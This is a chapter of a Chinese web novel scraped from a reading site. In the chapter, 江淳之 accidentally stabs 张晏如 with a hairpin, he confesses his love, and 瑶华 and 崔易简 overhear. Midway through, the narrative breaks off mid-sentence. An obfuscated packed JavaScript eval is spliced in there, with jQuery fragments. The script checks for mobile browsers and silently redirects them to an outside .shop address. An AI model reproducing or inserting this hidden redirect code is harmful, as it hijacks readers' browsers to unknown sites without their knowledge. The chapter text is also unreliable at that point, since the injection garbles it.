文趣网 > 都市小说 > 表妹只能是我的 > 23. 告白
    听到这熟悉的声音,江淳之方才紧闭的双眸霍然睁大了。

    她借着头顶的月色与不远处的灯火,看见张晏如那张清隽的脸皱作一团,而她那只簪子还直愣愣地插在他臂上,簪柄犹自露在外头,在月华下泛着冷幽幽的光。

    完了,完了。

    江淳之蹭地从灌丛中立起身来,随她起身的动静,好几声刺耳的裂帛声接连响起。

    她低头一看,原来褙子被枝杈勾破了长长一道,从腰侧直裂到下摆,露出里头的月白衬里来。

    只是暂且顾不上这些,忙凑到张晏如袖上细看,血迹已将他的袍袖洇暗了好大一片。

    “不好意思!我这就去给你寻大夫。”

    她跳出灌木丛,裙摆又被枝条扯了一下,张晏如忙拉住她,“不必,小伤而已。大喜的日子,不要为我折腾,没的搅了大家的兴致。”

    说着,他便将那道深深扎入臂中的簪子拔了出来,血珠子立刻从创口涌出,顺着小臂往下淌。

    江淳之忙别过头去,“栖梧居离此不远,你先在这里坐一坐,我去给你取药。”

    张晏如忍着疼点了点头。江淳之再不犹豫,提步便跑,一口气奔回栖梧居,正撞上守心从院中出来,两人险些撞个满怀。

    待站定了,守心看清她这一身狼狈形容,不由惊愕万分,正欲开口,却见江淳之已急匆匆地奔进西厢房去了。心想她大约是回去换衣裳,这才略略放下心来。

    郑氏特特差她在家熬药,柳大夫的方子古怪,须得趁热服下,现下药已熬上了,她不敢耽搁,便匆匆往熙春堂寻郑氏去了。

    这边厢,江淳之翻箱倒柜,总算寻出伤药与白布,唯恐张晏如失血过多,又马不停蹄地赶回亭中。

    张晏如仍坐在原处,自行挽起袖口,用随身携带的帕子按压着伤口。那条素白的帕子已被血染得斑斑驳驳,殷红了大半。

    江淳之头皮一阵阵发紧,“……我真不是有意的。”

    张晏如朝她一笑,温声道,“我知道。也怪我,生恐认错了人,便没先打招呼。你有防备之心,是好事。”

    张晏如伤在右臂,撒药尚可勉强为之,缠裹白布时便使不上力气。江淳之便接了过来,垂着头替他细细缠绕,还不忘问,“疼么?”

    “不疼。”

    张晏如看着她一圈一圈地缠裹白布,忽而开口,“我上次临时有事,未能赴约。往后若再有急事,我定设法提前告知你。”

    江淳之包扎的动作微微一顿,并未立时开口,等结扣完全打好了,方才坐正了身子,正色道:

    “《江公案》惹得龙颜大怒的事,我已听说了。这样大的事,你竟也不告诉我。若是因我的事连累了你的仕途,甚至殃及你的性命,那我真是万死难辞其咎。往后我会寻旁人来替我经纪,还是不劳烦你了。”

    张晏如听她忽然这般客套疏离,不由蹙紧了眉头,“这有什么连累不连累的。你救过我的命,就算我将这条命搭进去,也不过是报你的恩罢了。”

    江淳之摇了摇头,“你已经报完恩了。我们已经两清了。”旋即又放低了声气,像是在自言自语,“谁也不欠谁的。”

    “两清?”张晏如几乎怀疑自己听错了,“你这是在与我划清界限么?”

    “依你我此刻的身份,自然该划清界限。”

    此处光影昏昏,他们不过是勉强能辨认彼此的眉目。可即便如此,张晏如脸上那一瞬间的僵硬,还是清清楚楚地落进了江淳之眼里。

    她移开目光,站起身来,“我先走了。”

    张晏如慌忙立起身,一把握住她的胳膊,掣住她离去的脚步。

    江淳之抬起头,愕然看着他温和的眉眼间透出前所未有的坚毅。

    “你,你能听我说句话么?”

    江淳之默了半晌,终是开口,“你想说什么?”

    张晏如喉结上下滚动了几遭,“不瞒你说,其实早在梅州竹林中初见时,我便对你暗自倾心了。”

    “从梅州回来后,夜夜梦里都是你的身影,白日里心中也总有无数痴念,想着与你共度余生。我甚至想好了,聘书该如何写,该备什么样的贺礼去提亲,该如何说服江公,让他应允将你许配给我。”

    人世间,许多欣喜会因等待而蓬勃加倍,可眼下,江淳之却觉得,欣喜其实也会因为等待而消磨殆尽。

    终于从他口中听到这句梦里梦外都期待良久的话,江淳之心湖竟没有丝毫波动,静而无澜,形同死水。

    因她知道,他接下来肯定会说那个“可是”,她更好奇“可是”后面的话。

    张晏如果真用了那两个字开篇,“可是……可是……后来发生了太多的事,太多意料不到的事。是我优柔寡断、瞻前顾后,才陷入这左右为难的境地,使得事情一拖再拖,险些到了无法收拾的地步,我也不敢再同你开口了。”

    江淳之想牵牵嘴角,脸却僵硬得不听使唤,应当是被凛风吹得吧,面颊肉都不受自己控制了。

    “原以为此生已再无可能了。可如今既又在汴京遇见了,你仍未嫁,我亦未娶,兴许这便是老天爷给我最后的机会,我不想再错过了。”

    “我想娶你,淳之。你愿意嫁给我吗?”

    张晏如声音在颤,身形亦在抖,显然是做了相当大的决心才说出来的这句话。

    江淳之却低下了头,一则是她有些控制不了自己的表情,生怕做出什么完全不在她意料之中的反应。

    二则,她不想看见张晏如那诚恳得哀切的眼神,她似乎真有些醉了,不能在晕头晕脑的状态下草率做出抉择。

    夜风在八角亭畅行无阻,卷着衣袖飒飒作响,两人的广袖噼里啪啦地互打,你拍着我,我拍着你,仿佛亲密无间一般。

    然而,两人身体却隔了一段距离,唯一牵连在一起的只有张晏如抓在江淳之胳膊上的手,也只是松松垮垮地虚握着没什么力道。

    下一刻,那手忽然松开了。

    因一道猝不及防的冰冷声音从二人身后劈了过来。

    “好一番感人肺腑的表白啊!”

    江淳之脊背一僵,回头看去。便见崔易简与瑶华二人,正悄无声息地立在不远处。

    也不知他们是何时来的,也不知他们听了多久。

    崔易简面无异色,瑶华却是面覆霜雪,眼眸灼灼如火。

    “原来惠和,就只是你的优柔寡断?是你的瞻前顾后?是你的左右为难吗?”她句句讥讽,又突兀地冷笑了几声,“我很想知道,她在天之灵,若是听见你这番话,会作何感想!”

    江淳之不觉看向张晏如,面对瑶华的诘问,他再度陷入了沉默。只是这次她没那么好性再去等了,趁其不备,脚步一转,身影消没在亭台灌木后。

    因而也没听见张晏如那句“瑶华,人不能只活在过去。”

    这话是张晏如深思熟虑过的。

    从前纠结皇命难违,他的确想过彻底放下那段跟江淳之短暂的际遇,与惠和依父母之命成礼,举案齐眉。毕竟惠和实在好得令人无法指摘,待他亦是真心实意。

    后来,惠和为天下大义舍弃私情,他对她的情分中便多了一重人格

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17875352|211997||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    上的敬重。惠和客死异乡,他更觉心存愧疚。

    他似乎不应该过得太好,那是对惠和的愧怍。瑶华大抵也是这般想的,故而才选择决绝地留在过去。

    那他呢?也要留在过去么?像苦行僧一般,孤独终老,了此残生?

    或许从前他曾这样想过,可如今再见到江淳之,他便不想如此想了。

    瑶华眼尾冷冷一扫,讥嘲道,“还是你张三郎豁达,看得开,倒是我狭隘死心眼了,真是自愧弗如。不过人有时候还是得看看过去,不信你回回头?”

    张晏如回头一瞥,惊见江淳之早已不在原处,他四望一圈,也不见江淳之半点儿踪影,心如沉石,坠入无底洞。他立时抛下二人,四处追寻着江淳之的踪迹。

    瑶华犹自气难平,她自己也琢磨不清气究竟从何而来,只是一味用脚踹着地面。

    崔易简目送着张晏如身影消失往北而去,微不可察地松了口气。

    而后,用事不关己的语气道,“看戏也看够了,我派人送公主回去吧?”

    瑶华甩了甩袖,用迁怒的口吻道,“用不着你送我!”

    崔易简轻笑一声,“公主多虑了,我可没说是我亲自送你。”

    瑶华横他一眼,“那也用不着贵府小厮,我自己有人!”

    崔易简耸了耸肩,一抬手,“请便。”

    瑶华立刻怒气冲冲,挥袖而去。

    几乎就在同时,前头熙春堂的宴席也散了,宾客陆陆续续出来,有往前头去的,也有往这边来的,迎面撞上一脸愤然的瑶华,都不由一愣,接着纷纷将探寻的目光落在崔易简身上。

    崔易简生恐人人都来问他是不是又惹恼了瑶华,只得几步迈上那座亭子,暂时避避风头。

    亭子四周围着一圈灌木丛,又是黑灯瞎火的所在,原本倒是个藏人匿形的好去处。

    若不是他们无意中瞧见江淳之急匆匆地抱着一堆东西赶过来,他与瑶华也未必会走到此处,撞见方才那一幕。

    崔易简寻了处亭沿坐下,忽觉身下被什么东西硌了一下,伸手摸去,借着微弱的光线辨认,是一枚白玉簪子。

    簪头用白玉琢成一朵含苞的玉兰,簪柄则是银制的。此刻摸上去还有些黏腻,凑近鼻端嗅了嗅,一股淡淡的血腥气。

    他不疾不徐地掏出一方素罗帕,将簪身上的血迹细细擦拭干净了。

    忽觉前方有一道视线投来,抬头见是陈允凝,她似乎没料到会在此处撞见他,竟打了个哆嗦。

    “呃……呃……”“呃”了半晌,也没“呃”出个所以然来。

    崔易简只好主动开口,淡声问道,“表妹是在寻人么?”

    陈允凝细想了片刻,大约是江淳之身子不适,先回了栖梧居罢,多一事不如少一事,便摇了摇头:“没有,路过罢了。”

    “允凝,你在跟谁说话呢?”

    陈氏也走了过来。她身旁的女使手里提着一盏精巧的宫灯,暖融融的光华瞬间照亮方寸之地,也照亮了那个独坐亭中的人。

    陈氏也没料到会在此处看见自己的儿子,不由捂了捂胸口,嗔道,“专躲在这里吓人呢?”

    崔易简掌心握着那枚簪子,从容道,“酒吃多了,散散酒气罢了。”

    “散够了便早些回去,莫要吹多了风,受了凉。”

    叮嘱完崔易简,陈氏便带着陈允凝离开了。

    耳畔的脚步声渐行渐稀,直至万籁俱寂,唯余风声呜咽,崔易简这才站起身来,将那方素罗帕连同簪子一并仔细收好,慢悠悠地朝那座黑黢黢的假山踱去。